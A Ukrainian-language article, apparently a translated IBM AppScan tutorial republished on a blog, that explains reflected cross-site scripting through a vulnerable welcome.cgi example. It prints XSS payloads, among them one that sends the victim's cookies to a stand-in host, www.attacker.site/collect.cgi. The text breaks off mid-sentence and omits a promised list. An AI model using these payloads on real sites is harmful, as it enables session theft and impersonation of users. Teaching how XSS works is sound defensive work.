IBM Rational AppScan: що таке міжсайтовий скриптінг, Криптографія, Security & Hack, статті

Дізнайтеся, як хакери використовують атаку типу “міжсайтовий скриптінг”, що вона пошкоджує (а що – ні), як їх визначати, а також як захистити свій Web-сайт і його відвідувачів від подібних злочинних порушень конфіденційності та безпеки.

Що відбувається при атаці типу “міжсайтовий скриптінг”

Міжсайтовий скриптінг (cross-site scripting, або скорочено XSS) – це одна з найчастіших атак рівня програми, яку хакери використовують для злому Web-додатків. XSS – це атака на конфіденційність інформації клієнтів певного Web-сайту. Вона може привести до повного руйнування системи безпеки, коли дані клієнта крадуться і використовуються в подальшому для будь-яких цілей. Більшість атак передбачає участь двох сторін: або зловмисника і Web-сайт, або зловмисника і жертву-клієнта. Проте в атаці XSS беруть участь три сторони: зловмисник, клієнт і Web-сайт.


Метою атаки XSS є крадіжка з комп’ютера клієнта файлів cookie або іншої конфіденційної інформації, яка може ідентифікувати клієнта на Web-сайті. Маючи в своєму розпорядженні інформацією для ідентифікації в Як легального користувача, зловмисник може діяти на сайті в якості такого користувача, тобто прикидатися ім. Наприклад, при одному аудиті, проведеному у великій компанії, можна було з допомогою атаки XSS отримати приватну інформацію користувача і номер його кредитної карти. Це було досягнуто шляхом запуску спеціального коду на JavaScript. Цей код був запущений в браузері жертви (клієнта), у якої були привілеї доступу на Web-сайт. Є дуже обмежене число привілеїв JavaScript, які не дають доступ скрипта ні до чого, крім інформації, що відноситься до сайту. Важливо підкреслити, що, хоча вразливість і існує на Web-сайті, сам він безпосередньо не пошкоджується. Але цього достатньо, щоб скрипт зібрав файли cookie і відправив їх зловмисникові. У результаті зловмисник отримує потрібні дані і може імітувати жертву.


Методика атаки XSS


Давайте назвемо атакується сайт наступним чином: www.vulnerable.site. В основі традиційної атаки XSS лежить вразливий скрипт, який знаходиться на уразливому сайті. Цей скрипт зчитує частина HTTP-запиту (зазвичай параметри, але іноді також HTTP-заголовки або шлях) і повторює його для відповідної сторінки, повністю або тільки частину. При цьому не проводиться очищення запиту (тобто не перевіряється, що запит не містить код JavaScript або теги HTML). Припустимо, що цей скрипт називається welcome.cgi, і його параметром є ім’я. Його можна використовувати наступним чином:







  GET /welcome.cgi?name=Joe%20Hacker HTTP/1.0


  Host: www.vulnerable.site


   


Відповідь буде наступним:







  <HTML>


  <Title>Welcome!</Title>


  Hi Joe Hacker <BR>


  Welcome to our system


  …


  </HTML>


Як цим можна зловживати? Зловмисник повинен зуміти заманити клієнта (жертву), щоб він клацнув мишею посилання, яке зловмисник йому надає. Це ретельно і зловмисно підготовлена ​​посилання, яка змушує Web-браузер жертви звернутися до сайту (www.vulnerable.site) і виконати вразливий скрипт. Дані для цього скрипта містять код на JavaScript, який отримує доступ до файлів cookie, збереженим браузером клієнта для сайту www.vulnerable.site. Це допускається, оскільки браузер клієнта “думає”, що код на JavaScript виходить від сайту www.vulnerable.site. А модель безпеки JavaScript дозволяє скриптам, що походить від певного сайту, отримувати доступ до файлів cookie, які належать цьому сайту.


Подібна посилання може виглядати наступним чином:







http://www.vulnerable.site/welcome.cgi?name=<script>alert(document.cookie)</script>


     


Жертва, клацнувши по цьому посиланню, згенерує запит до www.vulnerable.site, показаний нижче:







  GET /welcome.cgi?name=<script>alert(document.cookie)</script> HTTP/1.0


  Host: www.vulnerable.site …


Відповідь уразливого сайту буде таким:







  <HTML> <Title>Welcome!</Title> Hi <script>alert(document.cookie)</script>


  <BR> Welcome to our system …


  </HTML>



Браузер клієнта-жертви інтерпретує цей запит як HTML-сторінку, що містить частину коду на JavaScript. Цей код при виконанні отримає доступ до всіх файлів cookie, що належить сайту www.vulnerable.site. Отже, він викличе спливаюче вікно в браузері, що показує всі файли cookie клієнта, які відносяться до www.vulnerable.site.


Звичайно, реальна атака мала на увазі б відправку цих файлів атакуючому. Для цього атакуючий може створити Web-сайт (www.attacker.site) і використовувати скрипт для отримання файлів cookie. Замість виклику спливаючого вікна зловмисник написав би код, який звертається по URL-адресу до сайту www.attacker.site. У зв’язку з цим виконується скрипт для отримання файлів cookie. Параметром для цього скрипта служать вкрадені файли cookie. Таким чином, зловмисник може отримати файли cookie з сервера www.attacker.site.


Шкідлива посилання може бути наступною:







http://www.vulnerable.site/welcome.cgi?name=<script>window.open


(“http://www.attacker.site/collect


  .cgi?cookie=”%2Bdocument.cookie)</script>


     


А згенерувала у відповідь сторінка може виглядати наступним чином:







  <HTML> <Title>Welcome!</Title> Hi


  <script>window.open(“http://www.attacker.site/collect.cgi?cookie=


“+document.cookie)</script>


  <BR>


  Welcome to our system … </HTML>


   


Негайно після завантаження цієї сторінки браузер виконає вставлений туди код JavaScript і перешле запит скрипту collect.cgi на сайті www.attacker.site разом зі значенням файлів cookie з сайту www.vulnerable.site, які вже є в браузері. Це підриває безпеку файлів cookie сайту www.vulnerable.site, які є у клієнта. Це дозволяє зловмисникові прикинутися жертвою. Конфіденційність клієнта повністю порушена.


Примітка.
Зазвичай виклику спливаючого вікна за допомогою JavaScript достатньо, щоб продемонструвати вразливість сайту до атаки XSS. Якщо з JavaScript можна викликати функцію Alert, то зазвичай немає причин, за якими виклик може не вийти. Ось чому більшість прикладів атак XSS використовує функцію Alert, яка дуже легко дозволяє визначити успіх атаки.


Область дії і здійснимість


Атака може відбутися тільки в браузері жертви, тому ж самому, який використовувався для доступу до сайту (www.vulnerable.site). Атакуючий повинен змусити клієнта отримати доступ до шкідливої ​​посиланням. Цього можна домогтися декількома способами.




Шкідливий код на JavaScript може отримати доступ до будь-якої перерахованої нижче інформації:



Дані для ідентифікації, авторизації та аутентифікації зазвичай зберігаються у вигляді файлів cookie. Якщо ці файли cookie постійні, то жертва вразлива для атаки навіть тоді, коли вона не використовує браузер в момент доступу до сайту www.vulnerable.site. Однак якщо файли cookie – тимчасові (наприклад, вони зберігаються в оперативній пам’яті), то на стороні клієнта повинен існувати сеанс зв’язку з сайтом www.vulnerable.site.


Ще одна можлива реалізація ідентифікаційної мітки – це параметр URL. У подібних випадках можна отримати доступ до інших вікон, використовуючи JavaScript наступним чином (припустимо, що ім’я сторінки з потрібними параметрами URL – foobar):







<script>var victim_window=open(“,”foobar”);alert(“Can access:


” +victim_window.location.search)</script>


          


Варіації на цю тему


Щоб запустити скрипт на JavaScript, можна використовувати безліч тегів HTML, крім

Схожі статті:


Сподобалася стаття? Ви можете залишити відгук або підписатися на RSS , щоб автоматично отримувати інформацію про нові статтях.

Метки: , , , , , ,
Рубрики: Криптографія

Коментарів поки що немає.

Ваш отзыв

Поділ на параграфи відбувається автоматично, адреса електронної пошти ніколи не буде опублікований, допустимий HTML: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>

*

*